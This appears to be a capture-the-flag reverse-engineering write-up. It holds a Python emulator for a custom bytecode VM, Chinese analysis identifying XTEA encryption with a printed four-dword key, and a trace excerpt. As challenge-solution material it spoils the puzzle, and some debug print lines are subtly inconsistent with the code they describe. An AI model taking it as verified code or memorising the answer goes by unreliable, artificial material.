0x00000004, 0x00000003, 0x00000003, 0x00000004, 0xFFFFFFE8, 0x00000002, 0x00000003, 0x00000002, 0x00000004, 0xFFFFFFF0, 0x0000000D, 0x00000004, 0x00000002, 0x00000003, 0x00000002, 0x00000003,
0x00000000, 0x00000004, 0xFFFFFFF4, 0x00000002, 0x00000009, 0x00000002, 0x00000000, 0x00000002, 0x00000004, 0x00000004, 0x00000003, 0x00000002, 0x00000004, 0xFFFFFFF0, 0x00000005, 0x00000001,
0x00000003, 0x00000002, 0x00000004, 0x00000003, 0x00000003, 0x00000004, 0xFFFFFFEC, 0x00000002, 0x00000000, 0x00000004, 0xFFFFFFEC, 0x00000003, 0x00000002, 0x00000003, 0x00000003, 0x00000004,
0xFFFFFFF0, 0x00000003, 0x00000003, 0x00000003, 0x00000004, 0xFFFFFFD0, 0x00000002, 0x00000000, 0x00000004, 0xFFFFFFF0, 0x00000003, 0x00000002, 0x00000003, 0x00000000, 0x00000004, 0xFFFFFFEC,
0x00000007, 0x00000004, 0x00000000, 0x00000007, 0x00000002, 0x00000003, 0x00000002, 0x00000004, 0xFFFFFFEC, 0x00000008, 0x00000004, 0x00000002, 0x00000003, 0x00000005, 0x00000001, 0x00000000,
0x00000002, 0x00000004, 0x00000003, 0x00000000, 0x00000004, 0xFFFFFFEC, 0x00000002, 0x00000003, 0x00000003, 0x00000004, 0xFFFFFFF0, 0x00000007, 0x00000004, 0x00000003, 0x0000000B, 0x0000000D,
0x00000004, 0x00000003, 0x00000003, 0x00000002, 0x00000003, 0x00000002, 0x00000004, 0xFFFFFFF4, 0x00000002, 0x00000009, 0x00000003, 0x00000002, 0x00000003, 0x00000004, 0x00000004, 0x00000003,
0x00000003, 0x00000004, 0xFFFFFFF0, 0x00000005, 0x00000001, 0x00000000, 0x00000003, 0x00000004, 0x00000003, 0x00000000, 0x00000004, 0xFFFFFFE8, 0x00000002, 0x00000000, 0x00000004, 0xFFFFFFE8,
0x00000000, 0x0000000C, 0x00000175, 0x00000002, 0x00000003, 0x00000000, 0x00000004, 0xFFFFFFF8, 0x00000002, 0x00000003, 0x00000002, 0x00000004, 0xFFFFFFE0, 0x00000002, 0x00000003, 0x00000003,
0x00000004, 0xFFFFFFEC, 0x00000002, 0x0000000B, 0x00000002, 0x00000000, 0x00000004, 0x00000003, 0x00000002, 0x00000003, 0x00000000, 0x00000004, 0xFFFFFFF8, 0x00000002, 0x00000003, 0x00000002,
0x00000004, 0xFFFFFFE0, 0x00000002, 0x00000003, 0x00000003, 0x00000004, 0xFFFFFFE8, 0x00000002, 0x0000000C, 0x00000002, 0x00000000, 0x00000004, 0x00000004, 0x00000003, 0x0000000C, 0x00000129,
0x00000002, 0x00000001, 0x00000005, 0x00000004, 0x00000001, 0x00000000]

reg = [0x0] * 11
memory = [0x0] * 144
# m = str(input())
memory[128] = 0x34333231
memory[129] = 0x38373635
memory[130] = 0x32313039
memory[131] = 0x36353433
memory[132] = 0x30393837
memory[133] = 0x34333231
memory[134] = 0x38373635
memory[135] = 0x32313039
reg[4] = 0x1BF52
reg[5] = 0x100
result = []
# xmm寄存器为reg[7]~reg[10]
# 读取字节码,reg[6]就是索引
while reg[6] < len(opc):
# mov(其实是push)
if opc[reg[6]] == 0:
index = (reg[5]-4)//4
reg[5] -= 4
if opc[reg[6]+1] == 0:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, 作用: mov memory[{index}], reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}")
memory[index] = reg[opc[reg[6]+2]]
elif opc[reg[6]+1] == 1:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, 作用: mov memory[{index}], {hex(opc[reg[6]+2])}")
memory[index] = opc[reg[6]+2]
reg[6] += 3
# end
elif opc[reg[6]] == 1:
print(f"op: {hex(opc[reg[6]])}, 作用: end of VM")
for j in range(128, 136):
result.append(memory[j])
reg[6] += 2
break
# mov
elif opc[reg[6]] == 2:
if opc[reg[6]+1] == 0:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, 作用: mov memory[{((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4}] = {hex(memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4])}, reg[{opc[reg[6]+4]}] = {hex(reg[opc[reg[6]+4]])}")
memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4] = reg[opc[reg[6]+4]]
reg[6] += 5
elif opc[reg[6]+1] == 1:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, 作用: mov reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, reg[{opc[reg[6]+3]}] = {hex(reg[opc[reg[6]+3]])}")
reg[opc[reg[6]+2]] = reg[opc[reg[6]+3]]
reg[6] += 4
elif opc[reg[6]+1] == 2:
BYTEPlace = ((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)%4
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, 作用: mov ({BYTEPlace}#BYTE)memory[{((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4}] = {hex((memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4]&(0xFF<<(BYTEPlace*8)))>>BYTEPlace*8)}, reg[{opc[reg[6]+4]}] = {hex(opc[reg[6]+4])}")
if BYTEPlace == 0: memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4] = (memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4]&0xFFFFFF00)|((opc[reg[6]+4]&0xFF)<<(8*BYTEPlace))
elif BYTEPlace == 1: memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4] = (memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4]&0xFFFF00FF)|((opc[reg[6]+4]&0xFF)<<(8*BYTEPlace))
elif BYTEPlace == 2: memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4] = (memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4]&0xFF00FFFF)|((opc[reg[6]+4]&0xFF)<<(8*BYTEPlace))
elif BYTEPlace == 3: memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4] = (memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4]&0x00FFFFFF)|((opc[reg[6]+4]&0xFF)<<(8*BYTEPlace))
reg[6] += 5
elif opc[reg[6]+1] == 3:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, 作用: mov reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, memory[{((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4}] = {hex(memory[((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4])}")
reg[opc[reg[6]+2]] = memory[((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4]
reg[6] += 5
elif opc[reg[6]+1] == 4:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, 作用: mov reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, {hex(opc[reg[6]+3])}")
reg[opc[reg[6]+2]] = opc[reg[6]+3]
reg[6] += 4
elif opc[reg[6]+1] == 5:
BYTEPlace = ((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)%4
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, 作用: mov ({BYTEPlace}#BYTE)memory[{((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4}] = {hex((memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4]&(0xFF<<(BYTEPlace*8)))>>BYTEPlace*8)}, (BYTE)reg[{opc[reg[6]+4]}] = {hex(reg[opc[reg[6]+4]]&0xFF)}")
if BYTEPlace == 0: memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4] = ((memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4])&0xFFFFFF00)+((reg[opc[reg[6]+4]]*0x00000001)&0x000000FF)
elif BYTEPlace == 1: memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4] = ((memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4])&0xFFFF00FF)+((reg[opc[reg[6]+4]]*0x00000100)&0x0000FF00)
elif BYTEPlace == 2: memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4] = ((memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4])&0xFF00FFFF)+((reg[opc[reg[6]+4]]*0x00010000)&0x00FF0000)
elif BYTEPlace == 3: memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4] = ((memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4])&0x00FFFFFF)+((reg[opc[reg[6]+4]]*0x01000000)&0xFF000000)
reg[6] += 5
elif opc[reg[6]+1] == 6:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, 作用: mov (LOBYTE)reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]]&0xFF)}, ({((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)%4}#BYTE)memory[{((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4}] = {hex(((memory[((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4]>>((((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)%4)*8))&0xFF))}")
reg[opc[reg[6]+2]] = (reg[opc[reg[6]+2]]&0xFFFFFF00)+((memory[((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4]>>((((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)%4)*8))&0xFF)
reg[6] += 5
elif opc[reg[6]+1] == 7:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, 作用: mov memory[{((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4}] = {hex(memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4])}, {hex(opc[reg[6]+4])}")
memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4] = opc[reg[6]+4]
reg[6] += 5
elif opc[reg[6]+1] == 8:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, 作用: mov reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, memory[{((reg[opc[reg[6]+3]]+reg[opc[reg[6]+4]])&0xFFFFFFFF)//4}] = {hex(memory[((reg[opc[reg[6]+3]]+reg[opc[reg[6]+4]])&0xFFFFFFFF)//4])}")
reg[opc[reg[6]+2]] = memory[((reg[opc[reg[6]+3]]+reg[opc[reg[6]+4]])&0xFFFFFFFF)//4]
reg[6] += 5
elif opc[reg[6]+1] == 9:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, {hex(opc[reg[6]+5])}, 作用: mov reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, memory[{((reg[opc[reg[6]+3]]+reg[opc[reg[6]+4]]*opc[reg[6]+5])&0xFFFFFFFF)//4}] = {hex(memory[((reg[opc[reg[6]+3]]+reg[opc[reg[6]+4]]*opc[reg[6]+5])&0xFFFFFFFF)//4])}")
reg[opc[reg[6]+2]] = memory[((reg[opc[reg[6]+3]]+reg[opc[reg[6]+4]]*opc[reg[6]+5])&0xFFFFFFFF)//4]
reg[6] += 6
elif opc[reg[6]+1] == 10:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, {hex(opc[reg[6]+5])}, {hex(opc[reg[6]+6])}, 作用: mov reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, memory[{((reg[opc[reg[6]+3]]+reg[opc[reg[6]+4]]*opc[reg[6]+5]+opc[reg[6]+6])&0xFFFFFFFF)//4}] = {hex(memory[((reg[opc[reg[6]+3]]+reg[opc[reg[6]+4]]*opc[reg[6]+5]+opc[reg[6]+6])&0xFFFFFFFF)//4])}")
reg[opc[reg[6]+2]] = memory[((reg[opc[reg[6]+3]]+reg[opc[reg[6]+4]]*opc[reg[6]+5]+opc[reg[6]+6])&0xFFFFFFFF)//4]
reg[6] += 7
elif opc[reg[6]+1] == 11:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, {hex(opc[reg[6]+5])}, 作用: mov memory[{((reg[opc[reg[6]+2]]+reg[opc[reg[6]+3]*opc[reg[6]+4]])&0xFFFFFFFF)//4}] = {hex(memory[((reg[opc[reg[6]+2]]+reg[opc[reg[6]+3]*opc[reg[6]+4]])&0xFFFFFFFF)//4])}, reg[{opc[reg[6]+5]}] = {hex(reg[opc[reg[6]+5]])}")
memory[((reg[opc[reg[6]+2]]+reg[opc[reg[6]+3]]*opc[reg[6]+4])&0xFFFFFFFF)//4] = reg[opc[reg[6]+5]]
reg[6] += 6
elif opc[reg[6]+1] == 12:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, {hex(opc[reg[6]+5])}, {hex(opc[reg[6]+6])}, 作用: mov memory[{((reg[opc[reg[6]+2]]+reg[opc[reg[6]+3]]*opc[reg[6]+4]+opc[reg[6]+5])&0xFFFFFFFF)//4}] = {hex(memory[((reg[opc[reg[6]+2]]+reg[opc[reg[6]+3]]*opc[reg[6]+4]+opc[reg[6]+5])&0xFFFFFFFF)//4])}, reg[{opc[reg[6]+6]}] = {hex(reg[opc[reg[6]+6]])}")
memory[((reg[opc[reg[6]+2]]+reg[opc[reg[6]+3]]*opc[reg[6]+4]+opc[reg[6]+5])&0xFFFFFFFF)//4] = reg[opc[reg[6]+6]]
reg[6] += 7
# sub
elif opc[reg[6]] == 3:
if opc[reg[6]+1] == 3:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, 作用: sub reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, memory[{((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4}] = {hex(memory[((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4])}")
reg[opc[reg[6]+2]] = (reg[opc[reg[6]+2]]-memory[(
(reg[opc[reg[6]+3]]+opc[reg[6]+4]) & 0xFFFFFFFF)//4]) & 0xFFFFFFFF
reg[6] += 5
elif opc[reg[6]+1] == 4:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, 作用: sub reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, {hex(opc[reg[6]+3])}")
reg[opc[reg[6]+2]] -= opc[reg[6]+3]
reg[6] += 4
# add
elif opc[reg[6]] == 4:
if opc[reg[6]+1] == 2:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, 作用: add memory[{((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4}] = {hex(memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4])}, {hex(opc[reg[6]+4])}")
memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4] = (memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4]+opc[reg[6]+4])&0xFFFFFFFF
reg[6] += 5
elif opc[reg[6]+1] == 3:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, 作用: add reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, memory[{((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4}] = {hex(memory[((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4])}")
reg[opc[reg[6]+2]] = (reg[opc[reg[6]+2]]+memory[((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4])&0xFFFFFFFF
reg[6] += 5
elif opc[reg[6]+1] == 4:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, 作用: add reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, {hex(opc[reg[6]+3])}")
reg[opc[reg[6]+2]] = (reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF
reg[6] += 4
# xor
elif opc[reg[6]] == 5:
if opc[reg[6]+1] == 1:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, 作用: xor reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, reg[{opc[reg[6]+3]}] = {hex(reg[opc[reg[6]+3]])}")
reg[opc[reg[6]+2]] = reg[opc[reg[6]+2]] ^ reg[opc[reg[6]+3]]
reg[6] += 4
elif opc[reg[6]+1] == 2:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, 作用: xor memory[reg[arg2]+arg3], arg4")
reg[6] += 5
# SMC
elif opc[reg[6]+1] == 3:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, 作用: xor arg2, memory[reg[arg3]+arg4]")
reg[6] += 5
elif opc[reg[6]+1] == 4:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, 作用: xor reg[arg2], arg3")
reg[6] += 4
# add
elif opc[reg[6]] == 6:
assert opc[reg[6]+1] == 3
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, 作用: add reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, reg[{opc[reg[6]+3]}] = {hex(reg[opc[reg[6]+3]])}, {hex(opc[reg[6]+4])}")
reg[opc[reg[6]+2]] = (reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF
reg[6] += 5
# shr
elif opc[reg[6]] == 7:
if opc[reg[6]+1] == 3:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, 作用: shr reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, memory[{((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4}] = {hex(memory[((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4])}")
reg[opc[reg[6]+2]] = reg[opc[reg[6]+2]] >> memory[((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4]
reg[6] += 5
elif opc[reg[6]+1] == 4:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, 作用: shr reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, {hex(opc[reg[6]+3])}")
reg[opc[reg[6]+2]] = reg[opc[reg[6]+2]] >> opc[reg[6]+3]
reg[6] += 4
# shl
elif opc[reg[6]] == 8:
if opc[reg[6]+1] == 3:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, 作用: shl reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, memory[{((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4}] = {hex(memory[((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4])}")
reg[opc[reg[6]+2]] = (reg[opc[reg[6]+2]] << memory[((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4])&0xFFFFFFFF
reg[6] += 5
elif opc[reg[6]+1] == 4:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, 作用: shl reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, {hex(opc[reg[6]+3])}")
reg[opc[reg[6]+2]] = (reg[opc[reg[6]+2]] << opc[reg[6]+3])&0xFFFFFFFF
reg[6] += 4
# cmp
elif opc[reg[6]] == 9:
BYTEPlace = ((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)%4
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, 作用: cmp (#{BYTEPlace}BYTE)memory[{((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4}] = {hex((memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4]&int('0xFF'+'00'*BYTEPlace,16))>>BYTEPlace*8)}, {hex(opc[reg[6]+4])}")
if (memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4]&(0xFF<<(BYTEPlace*8)))>>BYTEPlace*8 == opc[reg[6]+4]:
reg[7] = 1
reg[8] = reg[9] = reg[10] = 0
elif (memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4]&(0xFF<<(BYTEPlace*8)))>>BYTEPlace*8 > opc[reg[6]+4]:
reg[7] = reg[8] = reg[9] = reg[10] = 0
elif (memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4]&(0xFF<<(BYTEPlace*8)))>>BYTEPlace*8 < opc[reg[6]+4]:
reg[7] = reg[10] = 0
reg[8] = reg[9] = 1
reg[6] += 5
# jz(xmm[0])
elif opc[reg[6]] == 10:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, 作用: jz(xmm[0]) {hex(opc[reg[6]+1])}",end=" ")
if reg[7] == 0:
print("此处跳转")
reg[6] = opc[reg[6]+1]
elif reg[7] == 1:
print("此处未跳转")
reg[6] += 2
# jmp
elif opc[reg[6]] == 12:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, 作用: jmp {hex(opc[reg[6]+1])}")
reg[6] = opc[reg[6]+1]
# and
elif opc[reg[6]] == 13:
if opc[reg[6]+1] == 3:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, 作用: and reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, memory[{((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4}] = {hex(memory[((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4])}")
reg[opc[reg[6]+2]] = reg[opc[reg[6]+2]] & memory[((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4]
reg[6] += 5
elif opc[reg[6]+1] == 4:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, 作用: and reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, {hex(opc[reg[6]+3])}")
reg[opc[reg[6]+2]] = reg[opc[reg[6]+2]] & opc[reg[6]+3]
reg[6] += 4
# jnz(xmm[0])
elif opc[reg[6]] == 15:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, 作用: jnz {hex(opc[reg[6]+1])}",end=" ")
if reg[7] == 1:
print("此处跳转")
reg[6] = opc[reg[6]+1]
elif reg[7] == 0:
print("此处未跳转")
reg[6] += 2
# nop
elif opc[reg[6]] == 16:
print("op: {hex(opc[reg[6]])}, 作用: nop")
reg[6] += 1
# wrong_length
elif opc[reg[6]] == 17:
print("Length Wrong!")
exit(0)
# mul
elif opc[reg[6]] == 18:
assert opc[reg[6]+1] == 4
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, 作用: mul reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, reg[{opc[reg[6]+3]}] = {hex(reg[opc[reg[6]+3]])}, {hex(opc[reg[6]+4])}")
reg[opc[reg[6]+2]] = (reg[opc[reg[6]+3]]*opc[reg[6]+4])&0xFFFFFFFF
reg[6] += 5
# je(xmm[1],xmm[3])
elif opc[reg[6]] == 19:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, 作用: je(xmm[1],xmm[3]) {hex(opc[reg[6]+1])}",end=" ")
if reg[8] == reg[10]:
print("此处跳转")
reg[6] = opc[reg[6]+1]
else:
print("此处未跳转")
reg[6] += 2
# jz(xmm[2])
elif opc[reg[6]] == 20:
print(f"op: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, 作用: jz(xmm[2]) {hex(opc[reg[6]+1])}",end=" ")
if reg[9] == 0:
print("此处跳转")
reg[6] = opc[reg[6]+1]
elif reg[9] == 1:
print("此处未跳转")
reg[6] += 2
else:
print("无法识别的字节码:", opc[reg[6]])
break
print("memory:")
for i in range(len(memory)):
print(f'{memory[i]:#10x}', end=' ')
if (i%16 == 15):
print()
print("reg:")
for i in range(len(reg)):
print(f'{reg[i]:#10x}', end=" ")
print()
# time.sleep(0.001)
print("result:")
for i in range(len(result)):
print(f'{result[i]:#10x}', end=" ")
print()

分析输出的指令流,发现先进行了一个类似于strlen的函数求了字符串的长度,如果不是0x20就退出程序,然后加载密钥到内存区域,随后将密文按两个dword一组(共计4组,8个dword,32字节)进行加密,每组加密循环0x30(48)轮,并且通过分析发现了很强的XTEA特征,同时还发现了标志性的4个dword构成的密钥[0x766F6843, 0x6E695F79, 0x5F79656Bh, 0x5F363377]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
op 318: 0x2, 0x3, 0x2, 0x4, 0xfffffff8, 作用: mov reg[2] = 0xa4, memory[59] = 0x0
op 323: 0x2, 0x3, 0x3, 0x4, 0xffffffe0, 作用: mov reg[3] = 0x5f363377, memory[53] = 0x200
op 328: 0x2, 0x9, 0x0, 0x3, 0x2, 0x4, 作用: mov reg[0] = 0xc, memory[128] = 0x34333231
op 334: 0x2, 0x0, 0x4, 0xffffffec, 0x0, 作用: mov memory[56] = 0x0, reg[0] = 0x34333231
op 339: 0x2, 0x3, 0x2, 0x4, 0xfffffff8, 作用: mov reg[2] = 0x0, memory[59] = 0x0
op 344: 0x2, 0x3, 0x3, 0x4, 0xffffffe0, 作用: mov reg[3] = 0x200, memory[53] = 0x200
op 349: 0x2, 0xa, 0x0, 0x3, 0x2, 0x4, 0x4, 作用: mov reg[0] = 0x34333231, memory[129] = 0x38373635
op 356: 0x2, 0x0, 0x4, 0xffffffe8, 0x0, 作用: mov memory[55] = 0x0, reg[0] = 0x38373635
op 361: 0x2, 0x7, 0x4, 0xfffffff0, 0x0, 作用: mov memory[57] = 0x0, 0x0
